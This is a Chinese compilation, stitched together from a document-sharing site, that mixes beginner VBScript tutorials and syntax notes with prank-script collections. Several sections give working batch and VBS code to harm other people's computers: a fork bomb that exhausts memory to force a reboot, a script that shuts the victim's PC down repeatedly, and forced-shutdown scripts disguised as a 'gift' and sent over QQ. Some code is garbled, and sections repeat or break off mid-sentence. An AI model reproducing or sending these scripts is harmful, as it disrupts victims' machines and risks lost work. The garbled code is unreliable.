Set colQuickFixes = objWMIService.ExecQuery ("Select * from Win32_QuickFixEngineering") For Each objQuickFix in colQuickFixes Wscript.Echo "Description: " & objQuickFix.Description
第一个:让别人内存OVER(逼他重启) @off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。第二个:让对方重启指定次数(害人专用) @off if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c: echo. >c: & goto err1那就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = ("") " /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说""我是猪""","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = ("") " /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~" 复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打开了就在60秒内要关闭计算机， 结束任务都不行，他只能说他是猪才能解决问题。够坏吧注意哦，你可以把我是猪那个修
一、变量 1、注释：(单引号) 2、变量的命名规则：不区分大小写的。用Dim声明变量，此时不能给变量赋值。但是允许在一行代码内同时对两个变量进行赋值，中间用冒号分隔。 3、你可以使用OptionExplicit来告诉宿主变量必须先声明后使用。 4、只有一种变量类型，使用类型转换函数来将变量转换成相应的变量类型。 布尔：Cbool函数将变量转换成布尔值； 整数：Cbyte函数将变量转换为0到255之间的整数。 浮点：Ccur函数、Cdbl函数和Csng函数将变量转换为浮点数值， 日期：Cdate函数将变量转换为日期值。 整数：Cint函数和Clng函数将变量转换为整数，后者的范围比前者要大的多。 字串：Cstr函数将变量转换为字符串。 －－－－－－－－－－－－－－－－－－－－－－－－－ 三、操作符 在VBScript运算符中，加减乘除都是我们常用的符号， 乘方使用的是^ ， 取模使用的Mod。 在比较操作符中，等于、小于、大于、小于等于、大于等于都与我们常用的符号是一致的，而不等于是小于和大于连用。 逻辑运算符为： 和操作—>AND 非操作—>NOT 或操作—>OR；
+ 和操作符 &来连接字符串， Is用来比较对象，例如按钮对象，如果对象是同一类型，结果就是真，－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－ 四、条件语句 if……then语句， 其基本形式为： If 条件then 处理条件的语句； …… Endif Select case语句， 其基本形式为： Select case 变量 Case 条件值 处理条件语句 并对上两句进行重复 最后一句应为 case else 处理语句 End select 注意：在执行字符串比较时，需要特别注意大小写。
VBS脚本参考之一——使用连字符2007年06月14日星期四下午08:35前言 这一章的前半部分介绍了VB 脚本最基本的概念，并且告诉你它可以完成的工作，尤其是VBS和其它的如WMI、ADSI 接合在一起的时候。后半部分主要介绍了VBS对系统管理员更有用的部分。 许多脚本和程序语言在向文本输入的时候并不严格的遵守文本的行。例如，尽管下面这个JS 脚本写了很多行，但是，JS 把它当做一行来处理。这是因为，在大部分的时候，JS 只有看到中止符的时候才认为使一个行的中止。在这个例子中，中止符就是“；”。在实际中敲入的行是和脚本本身不相关的。 var 作者：临汾市外事旅游局薛靖澜，转载请注明出处] objWMI =new Enumerator (GetObject("winmgmts:") . InstancesOf("Win32_process")) ; 正好相反，同样的一段代码，用VB 写的时候就会报一个语法错误。 Set objWMI = (GetObject("winmgmts:") . InstancesOf("Win32_process")) 这是因为，VBS用回车键来代替特定的中止符。为了中止一个VB脚本，你不需要来敲入一个分号或者其它的特殊的符号，你只需要敲回车键就好了。一般来讲，不用中止符的限制，使VBS 在编写的过程中变的简单，但是也有一点会有些复杂。为了增强程序的可读性，建
议每行的最大长度不超过80个字符。那么当你的一行代码中有100 个字符，怎么办呢？尽管看来好象有个很简单的解决办法，但是你不能用回车键来将一行代码分隔成很多行。例如如下的代码片断会返回一个VB 运行错误因为它用回车键来分隔脚本 strMessageToDisplay = strUserFirstName, strUserMiddleInitial, strUserLastName, strCurrentStatus Wscript.Echo strMessageToDisplay 你不能用回车建来换行，因为在VB 中它认为回车是代表一段代码的中止，在上面的代码中，它认为第一行是脚本的第一部分陈述内容。然后认为第二行是另外一部分陈述内容。这样因为strCurrentStatus 不是一个VBS的命令，所以就报错了。为了解决这个问题，VB 脚本用下划线来表示下面一行是上面一行的代替。在VB 的早期修订版本中，在第一行末尾加一个空格和一个下划线来表示第二行是第一行的继续。为更明确的表明这个意思，第二行前面要加四个空格。（这样作是为了可读，你其实不必在继续的行前作特定的标识──就是不用在第二行前加四个空格。）作者：临汾市外事旅游局薛靖澜，转载请注明出处] strMessageToDisplay = strUserFirstName, strUserMiddleInitial, strUserLastName, _ strCurrentStatus Wscript.Echo strMessageToDisplay 当继续的行又引号的时候，它就显的特别复杂。例如，架设你用下划线和空格来分隔一个WMI脚本： Set colServiceList = GetObject("winmgmts:").ExecQuery("SELECT * FROM _ Win32_Service WHERE State = 'Stopped' AND StartMode = 'Auto' ") 如果你运行这个脚本，它会弹出一个错误，因为继续换行符放在了引号中间了，这样它就认为换行符是字符串的一部分。为了分隔这个陈述： 1：在第一行用引号中止，然后插入空格和下划线 2：用and(&)符号来开始下一行，这表示第二行是第一行字符串的继续 3：在下一行开始之前加入引号这些引号表示这些陈述是包涵在上面的一行中的，没有了引号，它就VB就解释Win32_Service 是VB 的陈述语句，因为这个语句不是合法的，所以就产生了错误。修正的版本如下： Set colServiceList = GetObject("winmgmts:").ExecQuery("SELECT * FROM " _
几个超有价值的VBS脚本！ 2008-08-20 12:13 1、exe2swf工具用法：将exe格式的flash拖放在此vbs文件上，即可生成swf文件 dim AsoR,FlashFileName Set ArgObj = WScript.Arguments dim PositionStart,OKed,Tag,EndSize PositionStart = 920000'flash 4的播放器的大致字节数 EndSize = 8 'exe文件结尾字节数,其它版本可以设置为0 FlashFileName = ArgObj(0)'传递路径 set AsoR=CreateObject("Adodb.Stream") AsoR.Mode=3 AsoR.Type=1 AsoR.Open set AsoW=CreateObject("Adodb.Stream") AsoW.Mode=3 AsoW.Type=1 AsoW.Open AsoR.LoadFromFile(FlashFileName) OKed = true dim filesize filesize = AsoR.size if filesize>PositionStart then while OKed AsoR.Position = PositionStart Tag = Bin2Str(AsoR.read(20)) if instr(Tag,"0000000") >0 then PositionStart = PositionStart + 1 else PositionStart = PositionStart + 20 end if if Tag = "00000000000000000708783" or Tag = "00000000000000000678783" then OKed = false end if 'if PositionStart > filesize then ' OKed = false 'end if wend
VBS脚本教程(一) 打开你的“记事本”程序，在编辑窗口填写： msgbox "Hello World!" 然后用鼠标单击“文件”菜单，单击“保存”，把“保存在”一栏设为桌面，在“文件名”一栏中填写kk.vbs，单击“保存”就可以了。然后最小化“记事本”窗口，在桌面上寻找你刚刚保存的kk.vbs，然后双击。看到弹出的对话框了没有，单击“确定”，对话框消失了。难看了点，不过确实是你编写的第一个脚本程序。 说明之一：上面的操作中，保存位置放在桌面，仅仅是为了执行方便，你保存到其他的地方完全没有问题，只要你知道你保存在什么地方就可以了，什么？是废话，自己保存的当然知道保存在那里了。不，自己保存的文件自己找不到的人我见的多了去了。文件名你可以随意填写，不一定非要写kk，只要符合Windows的文件命名规则就可以了，但是扩展名必须是vbs，什么?不知道什么是扩展名？就是文件名中“.”后的那部分，简单说，就是vbs脚本文件命名时必须是：xxx.vbs，其中xxx你随意。 说明之二：在记事本编辑窗口中写的这行是什么意思？ Msgbox是VBS内建的函数，每一个函数都可以完成一定的功能，你只需要按照语法要求，在函数的相应部分填写相应的内容就可以了，这部分内容我们称为参数，当然函数执行的结果我们称为返回值，一个函数可以有返回值也可以没有，可以有参数也可以没有。你不用了解函数是怎么运作的，只要了解这个函数能干什么就行了。 Msgbox语法：msgbox "对话框内容", , "对话框的标题" 你不妨用记事本打开刚才的文件在编辑窗口中输入： msgbox "Hello World!" , , "系统提示" 执行一下，看看效果和位置。 说明之三：如果执行失败，看看你的标点符号，所有的标点符号必须是在英文状态下输入的。 当然，这个脚本实在是太简单了，甚至连最简单的交互都没有，所以你可以把脚本这样修改一下： Dim name name=Inputbox("请输入你的名字:","名称") Msgbox name, , "您的名字是" 保存执行一下，看到弹出的对话框了么？填入你的名字，点确定，看到结果了吗？ 说明之一：第一句是定义变量，dim是定义变量的语句 其格式为：dim 变量1,变量2……， Vbs只有一种变量类型，所以不用声明变量类型。系统会自动分辨变量类型。 说明之二：inputbox是VBS内建的函数，可以接受输入的内容，其语法格式为： Inputbox("对话框内容","对话框标题") 第二句的意思是接受用户的输入，并把输入结果传递给变量name。 好了，到此脚本基本的输入输出函数都有了，已经可以完成一些比较简单的功能了，你可以编写一个
C 语言整人代码大全WScript.Echo("嘿，谢谢你打开我哦，我等你很久 拉！"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉，这你都不知道吗？") 顶 举报| 2011-06-01 20:46回复 菊花爆开 电白自学 2楼 WScript.Echo("怎么才来，说~是不是不关心我") WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。") WScript.Echo("小强很生气，后果很严重哦。") WScript.Echo("嘿嘿！你也会很惨滴哦") WScript.Echo("是不是想清除我？") WScript.Echo("那你要点上50下哦，不过会给你惊喜滴") WScript.Echo("还剩49下，快点点哦") WScript.Echo("还剩48下，快点，小笨蛋！") WScript.Echo("还剩47下对，就这样快点点！") WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰 你工作。") WScript.Echo("还剩45下，记得要快哦！") WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下")
WScript.Echo("还剩34下") WScript.Echo("还剩33下") WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下") WScript.Echo("还剩13下停停！！！慢点，我有话要说") WScript.Echo("还剩12下，你继续点我就会消失滴") WScript.Echo("还剩11下，以后就看不到我拉。555555") WScript.Echo("还剩10下，你现在可以选择停止！") WScript.Echo("还剩9下。你还点啊，不要我拉？") WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家") WScript.Echo("还剩7下。疯了，你有点负意！") WScript.Echo("还剩6下。对。你就点吧，我恨你！") WScript.Echo("还剩5下，不明白，删除我你就好吗？") WScript.Echo("还剩4下！真要删除我？") WScript.Echo("还剩3下。可是我真的很眷恋你。。。") WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你 的！") WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无 义！！！") WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝 又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")
整人电脑代码 Document number【AA80KGB-AA98YT-AAT8CB-2A6UT-A18GG】
第一个:让别人内存O V E R(逼他重启) @off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。 第二个:让对方重启指定次数(害人专用) @off if not exist c:1.txt echo. >c:1.txt & goto err1 if not exist c:2.txt echo. >c:2.txt & goto err1 if not exist c:3.txt echo. >c:3.txt & goto err1 if not exist c:4.txt echo. >c:4.txt & goto err1 if not exist c:5.txt echo. >c:5.txt & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。 第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop
◎Vbs脚本编程简明教程之一—为什么要使用Vbs？ 在Windows中，学习计算机操作也许很简单，但是很多计算机工作是重复性劳动，例如你每周也许需要对一些计算机文件进行复制、粘贴、改名、删除，也许你每天启动计算机第一件事情就是打开WORD，切换到你喜爱的输入法进行文本编辑，同时还要播放优美的音乐给工作创造一个舒心的环境，当然也有可能你经常需要对文本中的某些数据进行整理，把各式各样的数据按照某种规则排列起来……。这些事情重复、琐碎，使人容易疲劳。 第三方软件也许可以强化计算机的某些功能，但是解决这些重复劳动往往事倍功半，我也尝试过使用计算机语言编写程序来解决这些问题，但是随之而来的命令、语法、算法、系统框架和类库常常让我觉得这样是否有必要，难道就是因为猪毛比较难拔，所以我就要去学习机械，为自己设计一个拔猪毛机(?)吗？ Vbs是一种Windows脚本，它的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版)，VBS是Visual Basic的的一个抽象子集，是系统内置的，用它编写的脚本代码不能编译成二进制文件，直接由Windows系统执行（实际是一个叫做宿主host的解释源代码并执行），高效、易学，但是大部分高级语言能干的事情，它基本上都具备，它可以使各种各样的任务自动化，可以使你从重复琐碎的工作中解脱出来，极大的提高工作效率。我个人认为Vbs脚本其实就是一种计算机编程语言，但是由于缺少计算机程序设计语言中的部分要素，对于事件的描述能力较弱，所以称为脚本，它最方便的地方就是提供了对COM 对象的简便支持。那么什么是COM对象呢？ 我这样理解，COM对象就是一些具有特定函数功能项程序模块，他们一般以ocx或者dll 作为扩展名，你只要找到包含有你需要的功能的模块文件，并在脚本中规范的引用，就可以实现特定的功能，也就是说Vbs脚本就是调用现成的“控件”作为对象，用对象的属性和方法实现目的，完全免去了编写代码、设计算法等等麻烦。说白了，我不是觉得拔猪毛麻烦么？我发觉xx机（比如真空离心器）有一个功能可以实现脱毛，ok，我把它拿来给猪脱毛。什么？大材小用？太浪费资源了？天哪，那是计算机芯片的事情，死道友不死贫道，反正我的事情是方便快速的解决了，这就行了。 最方便的是它甚至不需要专门的开发环境，在你的计算机中，只要有notepad，就可以编写Vbs脚本了，并且可以直接执行。 Vbs脚本编程简明教程之二—如何开始第一个Vbs脚本？ 就像多数计算机教程一样，我们从“Hello World！”程序开始我们的练习。什么？不知道是什么意思？就是说大部分的计算机程序设计教程开篇入门都是编写一个小程序，执行这个程序的结果就是在计算机的屏幕上或者dos窗口中显示一行文字：Hello World！好了，我们开始吧。 打开你的“记事本”程序，在编辑窗口填写： msgbox "Hello World!" 然后用鼠标单击“文件”菜单，单击“保存”，把“保存在”一栏设为桌面，在“文件名”一栏中填写kk.vbs，单击“保存”就可以了。然后最小化“记事本”窗口，在桌面上寻找你刚刚保存的kk.vbs，然后双击。看到弹出的对话框了没有，单击“确定”，对话框消失了。难看了点，不过确实是你编写的第一个脚本程序。 说明之一：上面的操作中，保存位置放在桌面，仅仅是为了执行方便，你保存到其他的地方完全没有问题，只要你知道你保存在什么地方就可以了，什么？是废话，自己保存的当然知道保存在那里了。不，自己保存的文件自己找不到的人我见的多了去了。文件名你可以随意填写，不一定非要写kk，只要符合Windows的文件命名规则就可以了，但是扩展名必须是vbs，什么?不知道什么是扩展名？就是文件名中“.”后的那部分，简单说，就是vbs脚本文件命名时必须是：xxx.vbs，其中xxx你随意。
第一章VBS脚本编程简明教程 第一节◎Vbs脚本编程简明教程之一—为什么要使用Vbs？ 在Windows中，学习计算机操作也许很简单，但是很多计算机工作是重复性劳动，例如你每周也许需要对一些计算机文件进行复制、粘贴、改名、删除，也许你每天启动计算机第一件事情就是打开WORD，切换到你喜爱的输入法进行文本编辑，同时还要播放优美的音乐给工作创造一个舒心的环境，当然也有可能你经常需要对文本中的某些数据进行整理，把各式各样的数据按照某种规则排列起来……。这些事情重复、琐碎，使人容易疲劳。 第三方软件也许可以强化计算机的某些功能，但是解决这些重复劳动往往事倍功半，我也尝试过使用计算机语言编写程序来解决这些问题，但是随之而来的命令、语法、算法、系统框架和类库常常让我觉得这样是否有必要，难道就是因为猪毛比较难拔，所以我就要去学习机械，为自己设计一个拔猪毛机(?)吗？ Vbs是一种Windows脚本，它的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版)，VBS是Visual Basic的的一个抽象子集，是系统内置的，用它编写的脚本代码不能编译成二进制文件，直接由Windows系统执行（实际是一个叫做宿主host的解释源代码并执行），高效、易学，但是大部分高级语言能干的事情，它基本上都具备，它可以使各种各样的任务自动化，可以使你从重复琐碎的工作中解脱出来，极大的提高工作效率。 我个人认为Vbs脚本其实就是一种计算机编程语言，但是由于缺少计算机程序设计语言中的部分要素，对于事件的描述能力较弱，所以称为脚本，它最方便的地方就是提供了对COM对象的简便支持。那么什么是COM对象呢？ 我这样理解，COM对象就是一些具有特定函数功能项程序模块，他们一般以ocx或者dll作为扩展名，你只要找到包含有你需要的功能的模块文件，并在脚本中规范的引用，就可以实现特定的功能，也就是说Vbs脚本就是调用现成的“控件”作为对象，用对象的属性和方法实现目的，完全免去了编写代码、设计算法等等麻烦。说白了，我不是觉得拔猪毛麻烦么？我发觉xx机（比如真空离心器）有一个功能可以实现脱毛，ok，我把它拿来给猪脱毛。什么？大材小用？太浪费资源了？天哪，那是计算机芯片的事情，死道友不死贫道，反正我的事情是方便快速的解决了，这就行了。 最方便的是它甚至不需要专门的开发环境，在你的计算机中，只要有notepad，就可以编写Vbs脚本了，并且可以直接执行。 第二节◎Vbs脚本编程简明教程之二—如何开始第一个Vbs脚本？ 就像多数计算机教程一样，我们从“Hello World！”程序开始我们的练习。什么？不知道是什么意思？就是说大部分的计算机程序设计教程开篇入门都是编写一个小程序，执行这个程序的结果就是在计算机的屏幕上或者dos窗口中显示一行文字：Hello World！好了，我们开始吧。 打开你的“记事本”程序，在编辑窗口填写：
◎感谢钱峰2007年05月13日星期日下午04:26学习Vbs，当然是看微软网站上推出的官方教程比较原汁原味，可惜中国vbs学友里看过的恐怕不多，原因很简单，微软的官方原著是英文版的，看起来很费力。 当时，我刚刚发现vbs的妙处，可是除了一本微软的《Microsoft Windows脚本技术.CHM》之外，什么学习资料也找不到，看到网上介绍有一本《windows2000脚本编程实用大全》的书，就跑到各个书店去订书，因为出版的时间太久了，那里都订不到，又跑到各个技术网站上去发帖，希望那位有电子版给我发一份，我愿意用其他方面的技术资料交换，结果如同石沉大海，一点消息也没有，在这里小小鄙视他们一下。 后来偶然在网络上遇到钱峰先生，慷慨赠送了他翻译的微软的官方教程给我，让我迈进了vbs的大门，真是惭愧，由于计算机感染病毒，钱峰先生的邮件地址我也找不到了，只有他的一个qq号码，却从来不见他上线，多次留言，也没有见到他回应，在此对钱峰先生的翻译工作及无偿赠予表示衷心的感谢！ 今后一段时间，我将逐步将钱峰先生翻译的微软官方教程贴出，与大家共同温习。 有英文好的朋友可能会发觉这份翻印的教程与微软官方原版并不是完全相同，一是因为钱峰先生翻译的时候大约并没有想到要出版或者与人交流，仅仅是自己学习，所以翻译的比较粗糙，我刚刚得到的时候，很多地方都看的不是很懂，在与微软英文官方教程比较后，按照自己的理解修改了其中的一部分（对其中的有些地方，其实到现在我也还是弄不明白）；二是因为外国人行文和思维的方式与中国人有着很大的差别，读起来颇为费力，所以我对其中一些表达方式进行了修改，删除了其中一些我认为无关紧要的东西。各位学友如发现其中的错误请不吝指出，我会尽快修改，语意不祥的地方请参考官方网站：https://www.doczj.com/doc/b56061763.html,/technet/scriptcenter/guide/default.mspx ◎VBS脚本运行库手册之一（磁盘操作）2007年05月13日星期日下午04:36文件系统管理是系统管理的一个关键性任务。WSH 和VB 脚本在这个领域都没有提供相关的功能。幸运的是，你可以通过script runtime 库来管理这些关键的系统组件，比如磁盘，文件夹和文件。此外，script runtime 库提供了从text 文件读写的方法，可以用来创建dictionary和编译脚本。[作者：临汾市外事旅游局薛靖澜，转载请注明出处] 两种主要的脚本语言，VB 脚本语言和JS 脚本语言起初的时候都是设计给客户端来编写IE 的。正是因为如此，这两个脚本语言都有一些局限性。例如VB 脚本和JS 脚本内部都没有提供访问文件管理的一些任务，比如：复制、移动、删除文件等。这样做的目的是为了保护消费者。大多数的的网站不可能让用户通过网页去删除它们硬盘上的东西。尽管如此，脚本已经从类似的HTML 的按钮之类的开始迅速的发展了。随着ASP 的到来，浏览器的编写者要求在server 上管理文件。而随着WSH 的到来，系统管理员要求有在web 浏览器外来管理文件了。作者：临汾市外事旅游局薛靖澜，转载请注明出处] 为了满足这个要求，微软发布的了Script Runtime Library。它是一个单独的DLL 文件,scrrun.dll 文件，用来给脚本的编写者们提供一些文件管理的能力，包括以下内容：作者：
VBS脚本常用经典代码收集于2011年7月2日21:13:37整理 在网上查找资料的时候发现好多经典的vbs 代码，收集起来也为了以后学习。 VBS播放音乐 Dimwmp Setwmp=CreateObject("WMPlayer.OCX") wmp.openState wmp.URL二'想象之中.mp3" DoUntilwmp.playState=1 WScript.Sleep1000 Loop 比较流行的VBS整人脚本(保存为礼物.VBE”这样就可以通过QQ发送 了)Setshell二CreateObject("WScript.Shell") shell.run"shutdown-s-t60-c 系统即将关闭.",0 WhileInputBox("请输入答案"，”请回答")<>"123"'密码是123 MsgBox"答案在心中…",16+4096'4096是让窗口在最顶层 Wend shell.run"shutdown-a",0 MsgBox"恭喜",64 修改桌面背景图片 Sphoto二"d:\1.bmp"'输入你自己的BMP路径 Consthkcu=&h80001 Setwmi=GetObject("winmgmts:
stdregprov")wmi.getstringvaluehkcu,"ControlPanel\Desktop","Wallpaper",Spathwmi. setstringvaluehkcu,"ControlPanel\Desktop","TileWallpaper","0"wmi.setstringvaluehk cu,"ControlPanel\Desktop","WallpaperStyle","2"wmi.setdwordvalue hkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","Listvi ewShadow",1 Setwmi=Nothing Setfso=CreateObject("scripting.filesystemobject") Setfs=fso.Getfile(Sphoto) backname=https://www.doczj.com/doc/b56061763.html, https://www.doczj.com/doc/b56061763.html,=fso.GetFileName(Spath) fs.Copyfso.GetParentFolderName(Spath)&"\",True https://www.doczj.com/doc/b56061763.html,=backname Setfso=Nothing Setws=CreateObject("wscript.shell") ws.Run"gpupdate/force",vbhide ws.Run"RunDll 32.exeUSER 32.DLL,UpdatePerUserSystemParameters" Setws=Nothing VBS获取系统安装路径C: 'WINDOWS 路径 先定义这个变量是获取系统安装路径的，然后我们用"strWinDir" 调用这个变量。 SetWshShell=WScript.CreateObject("WScript.Shell") strWinDir=WshShell.ExpandEnvironmentStrings("%WinDir%")
VBS脚本编写及修改指导 -------------------------------------------------------------------------- Copyright (C), Raisecom Technology Co., Ltd . -------------------------------------------------------------------------- 版本 : 0.0.0.1 作者 : 李珊 完成日期 : 07 May 2009 -------------------------------------------------------------------------- 历史修改记录: -------------------------------------------------------------------------- 1. VBS语法总结 1) VBScript运算符优先级别
表达式由常量、变量、运算符、函数和圆括号按一定的规则组成，通过运算后有一个结果，运算结果的类型由数据和运算符共同决定。 2) VBScript控制语句总结 1、选择语句
1.1 单分支选择语句 If 条件Then 语句End If 1.2 双分支选择语句 If 条件 Then 语句1 Else 语句2 End If 1.3 多分支选择语句1 If 条件1 Then 语句1 ElseIf 条件2 Then 语句2 ElseIf 条件3 Then 语句3 ... Else 语句n End If [范例]： If length=1 Then a = "000" & a ElseIf length=2 Then a = "00" & a ElseIf length=3 Then a = "0" & a End If 1.4 多分支选择语句2
可以显示农历的VBS代码: